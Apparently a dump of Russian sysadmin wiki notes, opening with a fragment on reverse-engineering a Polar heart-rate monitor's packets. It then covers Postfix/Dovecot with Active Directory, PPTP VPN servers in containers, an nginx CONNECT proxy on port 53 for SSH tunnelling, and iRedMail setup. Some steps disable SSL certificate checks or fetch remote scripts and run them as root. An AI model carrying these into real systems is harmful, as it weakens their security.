1. в 8-м - там вначале идут мои пульсы на тот момент, чтобы примерно представлять, в каком диапазоне и как раскиданы данные
2. Поля:
TIMER - это не входит в пакет. Моя измерялка интервалов между пакетами.

FLAG (FLAG RR) - первое значение в пакете. какой-то флажок

COUNT (RR, REAL) - кол-во тиков в пакете. RR - это из RR-пакета (соотв. RR-функция),

REAL - это кол-во чеготонепонятного (из другой REAL-функции. Эти 2 функции вызываются параллельно, заканчивают работать одновременно и, соотв., что-то показывают)

TICKSRR - тики, данные в пакете. Каждый тик, предположительно, состоит из флага и данных. Каждый тик представлен: в 16-чном представлении 1) целиком, 2) флаг + данные;

и то же самое в 10-чном представлении 1) целиком, 2) флаг + данные

(TIMER измеряется в ms)

(я поменял форму отображения тиков TICKSRR в 8-м и 9-м файлика, а так по сути данные одни и те же)

Если надо, могу 1) сюда же включить и хексовое представление пакетов, 2) сделать другой вид отображения полей, 3) заменить TIMER на просто миллисекунды или убрать его

нафиг (по идее, полар сам меряет пульс)

В поляровской программе ProTrainer.exe используется 2 Dll-ки: hrmcom.dll и PolarWindLink.dll (насколько я понимаю, PolarWindLink - новая библиотека нижнего уровня для

протокола WindLink, hrmcom.dll - старая, для вообще девайсов полара, и она делает некоторые вызовы к PolarWindLink.dll)
Судя по трейсам (а отладка там запрещена - защищается программа с помощью привилегий. Поэтому у меня в распоряжении есть только внедряющийся трассировщик вызовов к

внешним библиотекам, типа этих вот. Я, правда, не пробовал еще SoftICE. Кстати, тоже мысль!)
Кароче! Судя по трейсам (могу выслать, кстати, трейсы) ProTrainer.exe в Online Record-режиме обращается к обоим библиотекам.
1) Он делает к hrmcom.dll несколько вызовов функций, видимо, стандартных для всех пульсометров (с любыми протоколами). Среди них - _fnHRMCom_GetRealOnlineData. Данные,

полученные с ее помощью помечены REAL. В дампах этих данных кроме первого поля только определенное кол-во тиков. В тиках только нули и посередине есть одна и та же

циферка. Первое поле - Count, кол-во тиков.
2) Кто-то (ProTrainer.exe или, скорее, hrmcom.dll) делает запрос к PolarWindLink.dll, вызывает функцию fnOnlineCom_GetRRPacket. Данные, получаемые из нее, помечены RR.

Они разные от вызова к вызову, поэтому RR-дампы и приведены в этих файлах.
И вот до кучи (просто чтобы сравнить, вдруг что-то полезное делается) я воткнул в выходной файл тот REAL-Count. Но есть вероятность, что его можно просто игнорировать.

postfix-dovecot-и-active-directory

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

postfix, dovecot и Active Directory

Реализовать почтовик на Linux с пользователями из Active Directory можно по-разному. Рассмотрим случай, когда почту принимает, отправляет, а так же фильтрует postfix, а раскладывает по папкам и отдает по imap - dovecot.

Postfix

Postfix фильтрует входящую почту как своими средствами (проверка на различные аспекты соответствия письма и сервера отправителя rfc), а так же прогоняет ее через amavisd, который в свою очередь использует spamassassin для категоризации писем на хорошие и спамные, и проверяет на вирусы.

В этом пункте стоит обратить внимание на то, как postfix связан c Active Directory, и, главное, зачем.

В нашей системе есть обычные пользователи, алиасы почтовых ящиков и списки рассылки. И всем этим добром мы командуем через оснастку управления Active Directory Users and computers. А Postfix, использую LDAP, проверяет, есть ли пользователь, которому написано письмо, или же письмо надо отправить кому-то другому, на чей алиас пришло письмо, а может и вовсе это письмо адресовано целой группе юзеров?

Заглянем в наш /etc/postfix/main.cf:

virtual_mailbox_maps = ldap:/etc/postfix/ldap/local_recipients.cf
virtual_alias_maps = ldap:/etc/postfix/ldap/redirect.cf,ldap:/etc/postfix/ldap/aliases.cf,ldap:/etc/postfix/ldap/mailgroups.cf,

В файле /etc/postfix/ldap/local_recipients.cf postfix смотрит, какому пользователю отправить письмо, в /etc/postfix/ldap/redirect.cf, как можно догадаться, адрес получателя проверяется на соответствие редиректам, в /etc/postfix/ldap/aliases.cf - алиасам, а в /etc/postfix/ldap/mailgroups.cf спискам рассылки.

/etc/postfix/ldap/local_recipients.cf

debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
query_filter = (userPrincipalName=%s)
result_attribute = sAMAccountName
result_format = %u/
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word
cache = no

/etc/postfix/ldap/aliases.cf

debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
timeout = 3
query_filter = (otherMailbox=%s)
result_filter = %s
result_attribute = userPrincipalName
special_result_attribute = member
scope = sub
bind = yes
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word

/etc/postfix/ldap/redirect.cf

mail:/etc/postfix/ldap# cat redirect.cf
debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
timeout = 3
query_filter = (&(userPrincipalName=%s)(sAMAccountType=805306368))
result_filter = %s
result_attribute = mail
special_result_attribute = member
scope = sub
bind = yes
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word

/etc/postfix/ldap/mailgroups.cf

debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
timeout = 3
query_filter = (&(mail=%s)(sAMAccountType=268435457))
result_filter = %s
result_attribute = userPrincipalName
special_result_attribute = member
scope = sub
bind = yes
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word

Как видно, пользователей postfix обнаруживает по заполненному атрибуту mail, алиас по списку адресов в атрибуте otherMailboxes, для редиректа используем userPrincipalName, ну а список рассылки у нас не что иное, как группа распространения в AD, а список получателей - члены данной группы.

Таким образом, если нужно изменить e-mail адрес пользователя, то изменяем его в атрибуте mail. Если у пользователя будет несколько адресов (алиасов), то в otherMailboxes добавляем их все (ADSIedit в помощ), а если нам нужен ящик для группы рассылки, заводим группу распространения, в атрибуте mail для нее пишем адрес группы и включаем необходимых участников.

dovecot

За доставку почты в ящики нас отвечает dovecot.
В main.cf указан транспорт

virtual_transport = dovecot

И описываем этот транспорт в master.cf:

dovecot unix - n n - - pipe flags=DRhu user=vmail:vmail argv=/usr/lib/dovecot/deliver -d ${mailbox}

Так как пользователи у нас виртуальный, то фактически почта складывается в ящики от имени пользователя vmail.
Куда же падают наши письма? Смотрим в конфиг dovecot (у меня он тут - /etc/dovecot/dovecot.conf):

mail_location = maildir:/home/DOMAIN.RU/%Lu/Maildir

где %Lu тут - имя пользователя.

Почта в ящике! Осталось ее забрать
Править конфиг по-умолчанию практически не приходится. Существенный момент - позаботимся об авторизации. Будем использовать запросы к LDAP. В разделе auth default (все в том же dovecot.conf) добавим:

passdb ldap { args = /etc/dovecot/dovecot-ldap.conf }

И сам dovecot-ldap.conf (напоминает нам конфиги postfix):

hosts = ldap-server-ip:3268 //наш LDAP-сервер
dn = CN=ldap-user,OU=some_ou,DC=domain,DC=local //путь к учеткам в AD
dnpass = P@$$word
auth_bind = yes
ldap_version = 3
base = dc=domain,dc=ru
deref = searching
scope = subtree
user_filter = (&(ObjectClass=person)(sAMAccountName=%u))
pass_filter = (&(ObjectClass=person)(sAMAccountName=%u))

Таким образом, dovecot складывает почту по папкам виртуальных пользователей и авторизует в LDAP.

Немного более подробно я описал настроку почтовика на примере iRedMail: Установка iRedMail на Ubuntu 14.04-minimal

postgres_logical_replication_monitoring

anonymous@undisclosed.example.com (Anonymous) — Wed, 19 Apr 2023 09:23:54 +0000

При использовании логической репликации важно следить за ее состоянием и не допускать сущестенного отставания.
Для мониторинга логической репликации на стороне издателя в общем случае - запрос такой:

SELECT slot_name FROM pg_replication_slots INNER JOIN pg_current_wal_lsn() ON confirmed_flush_lsn < pg_current_wal_lsn;

И можно

SELECT slot_name FROM pg_replication_slots INNER JOIN pg_current_wal_lsn() ON confirmed_flush_lsn < (pg_current_wal_lsn - 4096);

(pg_current_wal_lsn - 4096), чтобы допускать некоторый лаг и ложно не срабатывать на незначительные отставания (в данном случае - в 4 килобайта, если я все правильно понял).
Запрос возвращает список имен отстающих слотов репликации на издателе (которые соответствуют именам подписок на подписчике).
Также обязательно мониторить свободное место на издателе, поскольку если оно заканчивается - то дальше запускать postgres нем можно только с толкача - то есть подцеплять дополнительный диск, переносить на него директорию /var/lib/pgsql/14/data/pg_wal и делать симлинк на нее в директорию /var/lib/pgsql/14/data/.
Просто удалить директорию pg_wal - нельзя

pptp_vpn_server_in_lxc-lxd_container_on_ubutnu_18.04_host

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Эта статья - результат адаптации вот этой - PPTP VPN сервер в контейнере LXC на Ubuntu 16.04

Добавляем устройство ppp в профиль или контейнер LXD

Добавление профиля и устройства в него:

sudo lxc profile create device_ppp
sudo lxc profile device add device_ppp dev_ppp unix-char path=/dev/ppp

И назначаем профиль контейнеру:

sudo lxc profile assign pptp device_ppp,default

Тут важно, что нужно перечислить все профили, назначаемые контейнеру.

Добавление устройства непосредственно в контейнер

В этом случае профиль можно не создавать.

sudo lxc config device add <ctname> dev_ppp unix-char path=/dev/ppp

iptables на хосте

В /etc/sysctl.conf включать net.ipv4.ip_forward=1 не обязательно.
У меня все заработало и с закомментированной строкой net.ipv4.ip_forward=1 на хосте.

Настройка контейнера

Устанавливаем то что нужно:

sudo apt-get install wget nano iptables iptables-persistent

Скачиваем скрипт для быстрой настройки PopTop - он акутален для Ubuntu 18.04:

wget https://raw.github.com/cwaffles/ezpptp/master/ezpptp.sh

В скрипте упоминается адаптер venet, однако в lxc он перeименовывается в eth0, поэтому:

sed -i 's/venet0:0/eth0/g' ezpptp.sh
chmod +x ezpptp.sh & sudo ./ezpptp.sh

Отвечаем на вопросы скрипта, перезагружаем контейнер и проверяем. Если ваш PPTP VPN аходится за NAT, то пробрасываем к нему GRE и PPTP - порты 47 UDP и 1723 TCP
Включаем сервис:

 sudo systemctl enable pptpd

В файлике /etc/pptpd.conf нужно прописать localip. В результате он будет выглядеть так:

option /etc/ppp/pptpd-options
logwtmp
localip 192.168.77.133
remoteip 10.1.0.1-100

Настраиваем iptables в контейнере

Без iptables клиенту будет доступен только сам контейнер. Для того, чтобы работала сеть нужно создать правило iptables.

sudo iptables -t nat -A POSTROUTING -j SNAT --to **VPNServer-IP-Address**
sudo iptables-save | sudo tee /etc/iptables/rules.v4

Включаем debug pptpd

Poptop сыпет логи в syslogd в daemon.debug. Поэтому в Ubuntu 16.04 нужно отредактировать файлик /etc/rsyslog.d/50-default.conf или добавить новый в этой же диреткории и дописать туда:

daemon.debug /var/log/pptpd.log

В файлик /etc/ppp/options нужно добавить

debug

А затем перезапустить rsyslogd и pptpd:

sudo service rsyslog restart
sudo service pptpd restart

pptp_vpn_server_in_lxc_container_on_ubutnu_16.04_host

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

На хосте Ubuntu 16.04 с LXC развернут контейнер c Ubuntu 16.04.

Настройка хоста

На хосте прописываем загрузку модулей в /etc/modules:

tun
ppp-compress-18
ppp_mppe
ppp_deflate
ppp_async
pppoatm
ppp_generic
ip_gre

Также нужно на хосте разрешить форвардинг пакетов в iptables. Для этого раскомментируем в файлике /etc/sysctl.conf строку:

net.ipv4.ip_forward=1

и применим изменения:

sudo sysctl -p

Добавляем устройство в контейнер LXC

Это акутально для старых версий lxc - Ubuntu 16.04 и более старых.
В более новых - LXC\LXD. О них ниже.
В конфигурации контейнера /var/lib/lxc/[container_name]/config прописываем разрешения на работу с устройством /dev/ppp.
Сначала на хосте смотрим параметры этого устройства:

ls -ls /dev/ppp
0 crw------- 1 root root 108, 0 Jun  8 21:19 /dev/ppp

Отсюда берем значения 108 и 0 и прописываем их в /var/lib/lxc/[container_name]/config:

lxc.cgroup.devices.allow = c 108:0 rwm

Настройка контейнера

Устанавливаем то что нужно:

sudo apt-get install wget nano iptables

Заходим в контейнер и прописываем в /etc/rc.local следующее:

 iptables -t nat -A POSTROUTING -j SNAT --to `ifconfig eth0 | grep 'inet addr' | awk {'print $2'} | sed s/.*://`
 mknod /dev/ppp c 108 0
 chmod 0666 /dev/ppp
 service pptpd restart

Скачиваем скрипт для быстрой настройки PopTop:

wget https://raw.github.com/cwaffles/ezpptp/master/ezpptp.sh

В скрипте упоминается адаптер venet, однако в lxc он перeименовывается в eth0, поэтому:

sed -i 's/venet0:0/eth0/g' ezpptp.sh
chmod +x ezpptp.sh & sudo ./ezpptp.sh

Отвечаем на вопросы скрипта, перезагружаем контейнер и проверяем. Если ваш PPTP VPN аходится за NAT, то пробрасываем к нему GRE и PPTP - порты 47 UDP и 1723 TCP

Включаем debug

daemon.debug /var/log/pptpd.log

В файлик /etc/ppp/options нужно добавить

debug

А затем перезапустить rsyslogd и pptpd:

sudo service rsyslog restart
sudo service pptpd restart

pptp_vpn_server_in_openvz_container

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Поднимаем PPTP VPN сервер в контейнере OрenVZ

Сам умный скрипт взят отсюда: http://www.putdispenserhere.com/pptp-debian-ubuntu-openvz-setup-script/

Но там не указаны некоторые подготовительные мероприятия. Во первых - на выключенном контейнере надо разрешить использование iptables и дать права на устройство ppp. Создаем контейнер. У меня это Ubuntu 14.04 minimal. Не запускаем его, а на хосте OpenVZ (в моем случае CentOS 6.6) делаем так: Подгружаем модули:

modprobe tun && modprobe ppp-compress-18 && modprobe ppp_mppe && modprobe ppp_deflate && modprobe ppp_async && modprobe pppoatm && modprobe ppp_generic && modprobe ip_gre

И добавляем в /etc/rc.modules:

/sbin/modprobe tun
/sbin/modprobe ppp-compress-18
/sbin/modprobe ppp_mppe
/sbin/modprobe ppp_deflate
/sbin/modprobe ppp_async
/sbin/modprobe pppoatm
/sbin/modprobe ppp_generic
/sbin/modprobe ip_gre

Даем необходимые права контейнеру:

vzctl set CTID --netfilter full --save
vzctl set CTID --capability net_admin:on --save

Запускаем контейнер, создаем в нем устройство ppp и даем на него права:

vzctl start CTID
vzctl exec CTID mknod /dev/ppp c 108 0
vzctl set CTID --devices c:108:0:rw --save

Теперь заходим в контейнер, скачиаем или создаем скрипт и выполняем его:

vzctl enter CTID
wget https://raw.github.com/cwaffles/ezpptp/master/ezpptp.sh
chmod +x ezpptp.sh && ./ezpptp.sh

Вот текст скрипта:

#!/bin/bash
# Interactive PoPToP install script for an OpenVZ VPS
# Tested on Debian 5, 6, and Ubuntu 11.04
# April 2, 2013 v1.11
# http://www.putdispenserhere.com/pptp-debian-ubuntu-openvz-setup-script/

echo "######################################################"
echo "Interactive PoPToP Install Script for an OpenVZ VPS"
echo
echo "Make sure to contact your provider and have them enable"
echo "IPtables and ppp modules prior to setting up PoPToP."
echo "PPP can also be enabled from SolusVM."
echo
echo "You need to set up the server before creating more users."
echo "A separate user is required per connection or machine."
echo "######################################################"
echo
echo
echo "######################################################"
echo "Select on option:"
echo "1) Set up new PoPToP server AND create one user"
echo "2) Create additional users"
echo "######################################################"
read x
if test $x -eq 1; then
        echo "Enter username that you want to create (eg. client1 or john):"
        read u
        echo "Specify password that you want the server to use:"
        read p

# get the VPS IP
ip=`ifconfig venet0:0 | grep 'inet addr' | awk {'print $2'} | sed s/.*://`

echo
echo "######################################################"
echo "Downloading and Installing PoPToP"
echo "######################################################"
apt-get update
apt-get -y install pptpd

echo
echo "######################################################"
echo "Creating Server Config"
echo "######################################################"
cat > /etc/ppp/pptpd-options <<END
name pptpd
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128
ms-dns 8.8.8.8
ms-dns 8.8.4.4
proxyarp
nodefaultroute
lock
nobsdcomp
END

# setting up pptpd.conf
echo "option /etc/ppp/pptpd-options" > /etc/pptpd.conf
echo "logwtmp" >> /etc/pptpd.conf
echo "localip $ip" >> /etc/pptpd.conf
echo "remoteip 10.1.0.1-100" >> /etc/pptpd.conf

# adding new user
echo "$u        *       $p      *" >> /etc/ppp/chap-secrets

echo
echo "######################################################"
echo "Forwarding IPv4 and Enabling it on boot"
echo "######################################################"
cat >> /etc/sysctl.conf <<END
net.ipv4.ip_forward=1
END
sysctl -p

echo
echo "######################################################"
echo "Updating IPtables Routing and Enabling it on boot"
echo "######################################################"
iptables -t nat -A POSTROUTING -j SNAT --to $ip
# saves iptables routing rules and enables them on-boot
iptables-save > /etc/iptables.conf

cat > /etc/network/if-pre-up.d/iptables <<END
#!/bin/sh
iptables-restore < /etc/iptables.conf
END

chmod +x /etc/network/if-pre-up.d/iptables
cat >> /etc/ppp/ip-up <<END
ifconfig ppp0 mtu 1400
END

echo
echo "######################################################"
echo "Restarting PoPToP"
echo "######################################################"
sleep 5
/etc/init.d/pptpd restart

echo
echo "######################################################"
echo "Server setup complete!"
echo "Connect to your VPS at $ip with these credentials:"
echo "Username:$u ##### Password: $p"
echo "######################################################"

# runs this if option 2 is selected
elif test $x -eq 2; then
        echo "Enter username that you want to create (eg. client1 or john):"
        read u
        echo "Specify password that you want the server to use:"
        read p

# get the VPS IP
ip=`ifconfig venet0:0 | grep 'inet addr' | awk {'print $2'} | sed s/.*://`

# adding new user
echo "$u        *       $p      *" >> /etc/ppp/chap-secrets

echo
echo "######################################################"
echo "Addtional user added!"
echo "Connect to your VPS at $ip with these credentials:"
echo "Username:$u ##### Password: $p"
echo "######################################################"

else
echo "Invalid selection, quitting."
exit

Все. Если ваш PPTP VPN аходится за NAT, то пробрасываем к нему GRE и PPTP - порты 47 UDP и 1723 TCP

proxytunnel_with_nginx_as_http_proxy

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Настройка nginx в качестве HTTP-прокси для использования с proxytunnel при подключениях типа ssh over http-proxy

https://serverfault.com/questions/355271/ssh-over-https-with-proxytunnel-and-nginx
https://github.com/chobits/ngx_http_proxy_connect_module

Настройка nginx

Для того, чтобы чистый nginx мог проксировать ssh ему не хватает поддержки метода CONNECT. Добрый человек написал модуль для nginx, который реализует этот функционал, однако для того чтобы это работало нужно собрать nginx из исходников.

sudo apt-get update && sudo apt-get upgrade && sudo apt-get install wget nano 
sudo apt-get install build-essential -y
wget https://nginx.ru/download/nginx-1.12.2.tar.gz && tar -zxvf ./nginx-1.12.2.tar.gz 
wget https://ftp.pcre.org/pub/pcre/pcre-8.40.tar.gz && tar xzvf pcre-8.40.tar.gz
wget http://www.zlib.net/zlib-1.2.11.tar.gz && tar xzvf zlib-1.2.11.tar.gz
wget https://www.openssl.org/source/openssl-1.1.0f.tar.gz && tar xzvf openssl-1.1.0f.tar.gz
rm -rf *.tar.gz
wget -O ngx_http_proxy_connect_module.zip https://github.com/chobits/ngx_http_proxy_connect_module/archive/master.zip
unzip ./ngx_http_proxy_connect_module.zip
cd nginx-1.12.2/
patch -p1 < ../ngx_http_proxy_connect_module-master/proxy_connect.patch
./configure --prefix=/usr/share/nginx \
--sbin-path=/usr/sbin/nginx \
--modules-path=/usr/lib/nginx/modules \
--conf-path=/etc/nginx/nginx.conf \
--error-log-path=/var/log/nginx/error.log \
--http-log-path=/var/log/nginx/access.log  \
--pid-path=/run/nginx.pid \
--lock-path=/var/lock/nginx.lock \
--user=www-data \
--group=www-data \
--build=Ubuntu \
--http-client-body-temp-path=/var/lib/nginx/body \
--http-fastcgi-temp-path=/var/lib/nginx/fastcgi \
--http-proxy-temp-path=/var/lib/nginx/proxy \
--http-scgi-temp-path=/var/lib/nginx/scgi \
--http-uwsgi-temp-path=/var/lib/nginx/uwsgi \
--with-openssl=../openssl-1.1.0f \
--with-openssl-opt=enable-ec_nistp_64_gcc_128 \
--with-openssl-opt=no-nextprotoneg \
--with-openssl-opt=no-weak-ssl-ciphers \
--with-openssl-opt=no-ssl3 \
--with-pcre=../pcre-8.40 \
--with-pcre-jit \
--with-zlib=../zlib-1.2.11 \
--with-compat \
--with-file-aio \
--with-threads \
--with-http_addition_module  \
--with-http_auth_request_module \
--with-http_dav_module \
--with-http_flv_module \
--with-http_gunzip_module \
--with-http_gzip_static_module \
--with-http_mp4_module \
--with-http_random_index_module \
--with-http_realip_module \
--with-http_slice_module \
--with-http_ssl_module \
--with-http_sub_module  \
--with-http_stub_status_module \
--with-http_v2_module \
--with-http_secure_link_module \
--with-mail \
--with-mail_ssl_module \
--with-stream \
--with-stream_realip_module \
--with-stream_ssl_module \
--with-stream_ssl_preread_module \
--with-debug \
--add-module=../ngx_http_proxy_connect_module-master/
make
sudo make install

sudo mkdir --parents /var/lib/nginx/body

/etc/nginx/nginx.conf

user  www-data;
worker_processes  1;

pid        /run/nginx.pid;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

server {
     listen                         53;

     # dns resolver used by forward proxying
     resolver                       192.168.77.1;

     # forward proxy for CONNECT request
     proxy_connect;
     proxy_connect_allow            22;
     proxy_connect_connect_timeout  10s;
     proxy_connect_read_timeout     99999s;
     proxy_connect_send_timeout     99999s;

     # forward proxy for non-CONNECT request
#     location / {
#         proxy_pass http://$host;
#         proxy_set_header Host $host;
#     }
 }
}

На клиенте ssh устанавливаем proxytunnel и в ~/.ssh/config пишем такое:

Host domain.com #адрес хоста который будет указан в команде подключения: ssh user@domain.com. Может быть ненастоящим. Реальный хост указывается в ProxyCommand
       DynamicForward 1080
       ProxyCommand proxytunnel -v -p autosys.tk:53 -d 127.0.0.1:22 # тут -p - указывает на адрес HTTP-прокси, а -d указывает на хост к которому подключемся (ресолвинг хоста происходит на HTTP-прокси)
       ServerAliveInterval 30

python_oauth2client_certificate_verify_failed_unable_to_get_local_issuer_certificate

anonymous@undisclosed.example.com (Anonymous) — Fri, 22 Nov 2019 11:58:15 +0000

Проблема

При тестировании приложения, которе использует oauth2client возникает ошибка:

ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate

Причина

Причина в том, что сервер, реализующий протокол OpenID - Keycloak развернут в локальной сети и использует сертификат, выпущенный корпоративным центром сертификации.

Решение

Так как я просто тестирую, то мне нужно отключить проверку сертификатов в oauth2client.

sudo sed -i '/return httplib2\.Http(\*args, \*\*kwargs)/ s/)/, disable_ssl_certificate_validation=True)/' /usr/local/lib/python3.7/dist-packages/oauth2client/transport.py

realtek_appears_to_change_mode_expected_vht_found_ht_in_beacon

anonymous@undisclosed.example.com (Anonymous) — Thu, 29 Jan 2026 15:33:59 +0000

Проблема

В ноуте Linux ядро версии 6.18.7, wi-fi адаптер - MediaTek MT7925.
При работе от батарейки и подключении к некоторым сетям быстро отключается с ошибками в логе ядра:

[97643.678118] wlp2s0: authenticate with 86:69:1a:42:77:97 (local address=a8:e2:91:16:2c:6a)
[97643.695532] wlp2s0: send auth to 86:69:1a:42:77:97 (try 1/3)
[97643.698888] wlp2s0: authenticated
[97643.700331] wlp2s0: associating to AP 86:69:1a:42:77:97 with corrupt beacon
[97643.700454] wlp2s0: associate with 86:69:1a:42:77:97 (try 1/3)
[97643.716898] wlp2s0: RX AssocResp from 86:69:1a:42:77:97 (capab=0x511 status=0 aid=2)
[97643.750393] wlp2s0: associated
[97643.770234] wlp2s0: VHT information is missing, disabling VHT
[97643.770246] wlp2s0: AP 86:69:1a:42:77:97 appears to change mode (expected VHT, found HT) in beacon, disconnect

Кажется связано с энергосбережением.
С помощью TLP можно отключить энергосбережение WiFi - параметр WIFI_PWR_ON_BAT
Также отключил USB_AUTOSUSPEND
После стало лучше.

redmail_install_and_ad_config

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Установка iRedMail на Ubuntu 14.04-minimal

Ставим то что нужно:

sudo su
apt-get update && apt-get upgrade && apt-get install bzip2 bsdutils

Скачиваем и распаковываем:

wget https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.9.2.tar.bz2 --no-check-certificate
tar xjf iRedMail-0.9.2.tar.bz2

переходим в папку и запускаем инсталляцию (с правами root):

cd iRedMail-0.9.2
bash iRedMail.sh

при установке место для ящиков оставляем по-умолчанию, сервер - nginx, backend для аккаунтов - OpenLDAP.
Дальше задаем пароли и указываем имена доменов.
Из компонент я ставил все, кроме SoGo.
После установки перезагружаемся.

Интеграция с AD

http://www.iredmail.org/docs/active.directory.html

Создаем в Active Directory пользователя с минимальными правами vmail. Проверяем что он может подключиться:

ldapsearch -x -h ad.example.com -D 'vmail' -W -b 'cn=users,dc=example,dc=com'

Тут ad.example.com это имя контроллера домена. На выходе должен быть список пользователей с аттрибутами.

Настройка AD для Postfix

Отключаем параметры, которые нам не нужны в данный момент:

postconf -e virtual_alias_maps=''
postconf -e sender_bcc_maps=''
postconf -e recipient_bcc_maps=''
postconf -e relay_domains=''
postconf -e relay_recipient_maps=''

Добавляем домен в список виртульных доменов.

postconf -e smtpd_sasl_local_domain='example.com'
postconf -e virtual_mailbox_domains='example.com'

Прописываем файл настроек транспорта:

postconf -e transport_maps='hash:/etc/postfix/transport'

Прописываем файлы, в которых будет написано где в AD искать учетные записи разрешенных SMTP-отправителей, пользователей почты и почтовых групп:

postconf -e smtpd_sender_login_maps='proxy:ldap:/etc/postfix/ad_sender_login_maps.cf'
postconf -e virtual_mailbox_maps='proxy:ldap:/etc/postfix/ad_virtual_mailbox_maps.cf'
postconf -e virtual_alias_maps='proxy:ldap:/etc/postfix/ad_virtual_group_maps.cf'

Теперь создаем файлы настроек, прописанные в конфигурацию postfix предыдущими командами.

/etc/postfix/transport:

example.com dovecot

Для работы нужно сконвертировать текстовый файл в файл db, с которыми работает postfix:

cd /etc/postfix/
postmap ./transport

В /etc/postfix/transport прописан транспорт для домена. Определение транспорта dovecot хранится в файле /etc/postfix/master.cf.

Фильтры postfix

Как это работает. Когда postfix получает письмо (входящее или исходящее), он должен проверить, можно ли его доставлять и куда. Командами postconf мы прописали три фильтра, которые определяют разрешенных отправителей, виртуальные почтовые ящики для входящей почты и фильтры для групп.

Первый фильтр - фильтр разрешенных отправителей.
Его добавили в файл /etc/postfix/main.cf с помощью команды:

postconf -e smtpd_sender_login_maps='proxy:ldap:/etc/postfix/ad_sender_login_maps.cf'

В этом файле указаны параметры домена и OU из которой брать пользователей, а также параметры фильтрации. На вход данного фильтра подается почтовый адрес отправителя письма. В данном случае через фильтр пройдут только объекты из cn=users,dc=example,dc=com типа objectClass=person, у которых аттрибут mail будет равен значению поданному на вход фильтра %s.
Вернет фильтр аттрибут mail (строчка result_attribute=), объекта AD, удовлетворяющего фильтру query_filter=.
Если возвращенное значение result_attribute= соотвествует попавшему на вход фильтра %s, то postfix решает, что отправитель хороший.

/etc/postfix/ad_sender_login_maps.cf:

server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail  # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учеткиПароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей в домене
scope           = sub
query_filter    = (&(objectClass=person)(mail=%s)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) 
result_attribute= mail
debuglevel      = 0

/etc/postfix/ad_virtual_mailbox_maps.cf:

server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учеткиПароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей и группы в домене
scope           = sub
query_filter    = (&(objectClass=person)(mail=%s)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) 
result_attribute= mail
result_format   = %d/%s/Maildir/
debuglevel      = 0

Тут в параметре result_format жестко прописывается формат пути к ящикам пользователей. В данном случае это %d - имя домена, %s% - имя ящика, которое подается на вход фильтра (может быть заменено на %u - имя пользователя до @). То есть в результате для пользователя postmaster - example.com/postmaster@example.com/Maildir/.

/etc/postfix/ad_virtual_group_maps.cf:

server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учетки Пароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей и группы в домене
scope           = sub
query_filter    = (&(objectClass=group)(mail=%s))
special_result_attribute = member
leaf_result_attribute = mail  # Без этого параметра в списке адресов группы будет и адрес самой группы
result_attribute= mail # какой аттрибут возвращаем
debuglevel      = 0

В файле /etc/postfix/main.cf удалить строки типа check_policy_service inet:127.0.0.1:. Это указания на обработку писем разными политиками. Бывает полезно, если письма не приходят, а в журнале /var/log/mail.log сообщения типа Recipient address rejected: Greylisting in effect, please come back later;

Настройка AD для dovecot

Файл /etc/dovecot/dovecot-ldap.conf

hosts           = domain_controller_name:389
ldap_version    = 3
auth_bind       = yes
dn              = vmail
dnpass          = vmail_password
base            = cn=users,dc=example,dc=com
scope           = subtree
deref           = never

user_filter     = (&(userPrincipalName=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_filter     = (&(userPrincipalName=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_attrs      = userPassword=password
default_pass_scheme = CRYPT
user_attrs      = =home=/var/vmail/vmail1/%Ld/%Ln/Maildir/,=mail=maildir:/var/vmail/vmail1/%Ld/%Ln/Maildir/

Если у вас есть сертификат SSL для POP3, то путь к нему надо указать в /etc/dovecot/dovecot.conf, а если нет, то нужно отключить обязательное использование SSL. Для этого в /etc/dovecot/dovecot.confзадаем значения для двух параметров: ssl = yes (вместо required) и disable_plaintext_auth = no.

Рестарт dovecot:

service dovecot restart

Если адрес почтового ящика не соотвествует имени

Конфигурация, описаннная выше работает, если имя входа и имя ящика совпадают. Но что если это не так?. Например имя входа user@domain.com, а ящик - user.id@domain.com.

Значит нужно переписать фильтр в /etc/postfix/ad_virtual_mailbox_maps.cf:

server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
